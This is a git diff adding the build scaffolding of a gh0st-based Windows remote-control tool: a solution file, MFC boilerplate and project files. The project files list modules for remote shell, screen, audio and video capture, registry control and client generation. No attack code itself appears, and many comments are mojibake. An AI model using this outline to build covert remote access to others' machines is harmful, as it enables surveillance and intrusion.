基于gh0st的远程控制器
实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
35
server/2015Remote.sln
Normal file
@@ -0,0 +1,35 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2012
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "..\client\TestRun.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.Build.0 = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
92
server/2015Remote/2015Remote.cpp
Normal file
@@ -0,0 +1,92 @@
|
||||
|
||||
// 2015Remote.cpp : <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
|
||||
// CMy2015RemoteApp
|
||||
|
||||
BEGIN_MESSAGE_MAP(CMy2015RemoteApp, CWinApp)
|
||||
ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CMy2015RemoteApp <20><><EFBFBD><EFBFBD>
|
||||
|
||||
CMy2015RemoteApp::CMy2015RemoteApp()
|
||||
{
|
||||
// ֧<><D6A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
|
||||
|
||||
// TODO: <20>ڴ˴<DAB4><CBB4><EFBFBD><EFBFBD>ӹ<EFBFBD><D3B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> InitInstance <20><>
|
||||
}
|
||||
|
||||
|
||||
// Ψһ<CEA8><D2BB>һ<EFBFBD><D2BB> CMy2015RemoteApp <20><><EFBFBD><EFBFBD>
|
||||
|
||||
CMy2015RemoteApp theApp;
|
||||
|
||||
|
||||
// CMy2015RemoteApp <20><>ʼ<EFBFBD><CABC>
|
||||
|
||||
BOOL CMy2015RemoteApp::InitInstance()
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Windows XP <20>ϵ<EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD>嵥ָ<E5B5A5><D6B8>Ҫ
|
||||
// ʹ<><CAB9> ComCtl32.dll <20>汾 6 <20><><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>ӻ<EFBFBD><D3BB><EFBFBD>ʽ<EFBFBD><CABD>
|
||||
//<2F><><EFBFBD><EFBFBD>Ҫ InitCommonControlsEx()<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><F2A3ACBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڡ<EFBFBD>
|
||||
INITCOMMONCONTROLSEX InitCtrls;
|
||||
InitCtrls.dwSize = sizeof(InitCtrls);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>õ<EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC>ࡣ
|
||||
InitCtrls.dwICC = ICC_WIN95_CLASSES;
|
||||
InitCommonControlsEx(&InitCtrls);
|
||||
|
||||
CWinApp::InitInstance();
|
||||
|
||||
AfxEnableControlContainer();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> shell <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20>κ<EFBFBD> shell <20><><EFBFBD><EFBFBD>ͼ<EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD> shell <20>б<EFBFBD><D0B1><EFBFBD>ͼ<EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD>
|
||||
CShellManager *pShellManager = new CShellManager;
|
||||
|
||||
// <20><><EFBFBD><D7BC>ʼ<EFBFBD><CABC>
|
||||
// <20><><EFBFBD><EFBFBD>δʹ<CEB4><CAB9><EFBFBD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD>ܲ<EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD>С
|
||||
// <20><><EFBFBD>տ<EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>ļ<EFBFBD><C4BC>Ĵ<EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD>Ӧ<EFBFBD>Ƴ<EFBFBD><C6B3><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>ض<EFBFBD><D8B6><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ洢<DAB4><E6B4A2><EFBFBD>õ<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// TODO: Ӧ<>ʵ<EFBFBD><CAB5>ĸ<DEB8><C4B8>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
|
||||
SetRegistryKey(_T("Remoter"));
|
||||
|
||||
CMy2015RemoteDlg dlg;
|
||||
m_pMainWnd = &dlg;
|
||||
INT_PTR nResponse = dlg.DoModal();
|
||||
if (nResponse == IDOK)
|
||||
{
|
||||
// TODO: <20>ڴ˷<DAB4><CBB7>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
// <20><>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>رնԻ<D5B6><D4BB><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||||
}
|
||||
else if (nResponse == IDCANCEL)
|
||||
{
|
||||
// TODO: <20>ڴ˷<DAB4><CBB7>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>رնԻ<D5B6><D4BB><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||||
}
|
||||
|
||||
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD>洴<EFBFBD><E6B4B4><EFBFBD><EFBFBD> shell <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (pShellManager != NULL)
|
||||
{
|
||||
delete pShellManager;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ڶԻ<DAB6><D4BB><EFBFBD><EFBFBD>ѹرգ<D8B1><D5A3><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD> FALSE <20>Ա<EFBFBD><D4B1>˳<EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD>á<EFBFBD>
|
||||
return FALSE;
|
||||
}
|
||||
32
server/2015Remote/2015Remote.h
Normal file
@@ -0,0 +1,32 @@
|
||||
|
||||
// 2015Remote.h : PROJECT_NAME Ӧ<>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef __AFXWIN_H__
|
||||
#error "<22>ڰ<EFBFBD><DAB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>֮ǰ<D6AE><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>stdafx.h<><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PCH <20>ļ<EFBFBD>"
|
||||
#endif
|
||||
|
||||
#include "resource.h" // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#include "iniFile.h"
|
||||
|
||||
// CMy2015RemoteApp:
|
||||
// <20>йش<D0B9><D8B4><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2015Remote.cpp
|
||||
//
|
||||
|
||||
class CMy2015RemoteApp : public CWinApp
|
||||
{
|
||||
public:
|
||||
CMy2015RemoteApp();
|
||||
iniFile m_iniFile;
|
||||
// <20><>д
|
||||
public:
|
||||
virtual BOOL InitInstance();
|
||||
|
||||
// ʵ<><CAB5>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
|
||||
extern CMy2015RemoteApp theApp;
|
||||
BIN
server/2015Remote/2015Remote.rc
Normal file
189
server/2015Remote/2015Remote.vcxproj
Normal file
@@ -0,0 +1,189 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
|
||||
<RootNamespace>My2015Remote</RootNamespace>
|
||||
<Keyword>MFCProj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
<ValidateAllParameters>true</ValidateAllParameters>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</Midl>
|
||||
<ResourceCompile>
|
||||
<Culture>0x0804</Culture>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib.lib</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
<ValidateAllParameters>true</ValidateAllParameters>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</Midl>
|
||||
<ResourceCompile>
|
||||
<Culture>0x0804</Culture>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ReadMe.txt" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
<None Include="res\audio.ico" />
|
||||
<None Include="res\bitmap\bmp00001.bmp" />
|
||||
<None Include="res\Bitmap\Online.bmp" />
|
||||
<None Include="res\bitmap\toolbar1.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||
<None Include="res\cmdshell.ico" />
|
||||
<None Include="res\Cur\Drag.cur" />
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\dword.ico" />
|
||||
<None Include="res\file.ico" />
|
||||
<None Include="res\icon1.ico" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\pc.ico" />
|
||||
<None Include="res\string.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="2015Remote.h" />
|
||||
<ClInclude Include="2015RemoteDlg.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="CpuUseage.h" />
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileCompress.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="iniFile.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="SystemDlg.h" />
|
||||
<ClInclude Include="TalkDlg.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
<ClInclude Include="VideoDlg.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="2015Remote.cpp" />
|
||||
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="CpuUseage.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileCompress.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="iniFile.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SystemDlg.cpp" />
|
||||
<ClCompile Include="TalkDlg.cpp" />
|
||||
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||
<ClCompile Include="VideoDlg.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
<ProjectExtensions>
|
||||
<VisualStudio>
|
||||
<UserProperties RESOURCE_FILE="2015Remote.rc" />
|
||||
</VisualStudio>
|
||||
</ProjectExtensions>
|
||||
</Project>
|
||||
275
server/2015Remote/2015Remote.vcxproj.filters
Normal file
@@ -0,0 +1,275 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="主Dlg">
|
||||
<UniqueIdentifier>{c30c6669-7ee9-446c-9bfb-e472d534e2f2}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="真彩Bar">
|
||||
<UniqueIdentifier>{7384a2b0-7e54-4b4f-8f1e-399a170b0893}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="设置Dlg">
|
||||
<UniqueIdentifier>{13f8046a-69f8-4f11-a24b-6bc31c195200}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="通信类">
|
||||
<UniqueIdentifier>{b8c1bcef-f319-4d72-be70-99c37a83bf9a}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="CPU">
|
||||
<UniqueIdentifier>{247eff7d-6fd0-43dd-8c7e-263aad0eed5b}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="缓冲区">
|
||||
<UniqueIdentifier>{89df7039-00e9-4694-91f8-fc5f023e6321}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程控制">
|
||||
<UniqueIdentifier>{5264e449-f09b-420d-9c72-ff8151bee746}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程文件">
|
||||
<UniqueIdentifier>{52707111-f42b-41c9-b02d-ded6b27a2b7e}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="即时消息">
|
||||
<UniqueIdentifier>{b8b47b31-1b3f-420a-aebd-f9f6aef16177}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程终端">
|
||||
<UniqueIdentifier>{98bb3949-95d3-4ae1-9e7a-51344815555a}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程系统管理">
|
||||
<UniqueIdentifier>{ba31583e-3d2b-4f34-ac0f-9589567fccd9}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程音频">
|
||||
<UniqueIdentifier>{b3a92075-6f32-4114-8c59-b0fb0042ed03}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="生成客户端">
|
||||
<UniqueIdentifier>{604ae8b3-7d79-4ba3-955d-8244c26c9218}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程注册表">
|
||||
<UniqueIdentifier>{9cd8e611-2137-4553-b9a9-121877b5e33c}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程服务">
|
||||
<UniqueIdentifier>{99dc4626-9f3c-4a3f-bfbd-03c6748fe053}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程视频">
|
||||
<UniqueIdentifier>{4fbc083b-8252-4012-836d-6757122c7de7}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ReadMe.txt" />
|
||||
<None Include="res\My2015Remote.rc2">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\2015Remote.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Bitmap\Online.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\bitmap\toolbar1.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\bitmap\bmp00001.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Cur\Drag.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Cur\MutiDrag.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\icon1.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\cmdshell.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\audio.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\file.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\pc.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\dword.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\string.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="2015Remote.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Resource.h">
|
||||
<Filter>主Dlg</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="TrueColorToolBar.h">
|
||||
<Filter>真彩Bar</Filter>
|
||||
</ClInclude>
|
